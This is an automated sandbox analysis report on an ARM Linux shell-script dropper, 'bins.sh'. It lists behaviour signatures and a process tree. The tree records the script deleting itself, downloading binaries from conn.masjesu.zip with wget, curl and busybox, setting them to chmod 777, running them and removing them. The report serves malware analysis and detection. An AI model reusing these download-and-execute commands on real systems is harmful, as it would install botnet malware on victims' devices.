Analysis

  • max time kernel
    150s
  • max time network
    13s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/10/2024, 19:21

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241020-x2m2saware
  • SHA256 88cd1dec7e52a438b0e316ca47298b7b73376741a5c423d7de924a29208782cc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
          2⤵
          • System Network Configuration Discovery
          PID:659
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:666
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
          2⤵
          • System Network Configuration Discovery
          PID:680
        • /bin/chmod
          chmod 777 LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
          ./LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/zAvCXOWX1g8pqYnWYeZ9xRDciqn79kUfIK
            2⤵
            • System Network Configuration Discovery
            PID:687
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/zAvCXOWX1g8pqYnWYeZ9xRDciqn79kUfIK
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:689

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM

              • Path /tmp/LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
              • Size 80KB
              • SHA256 100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97
              • MD5 SHA1 SHA512 SSDEEP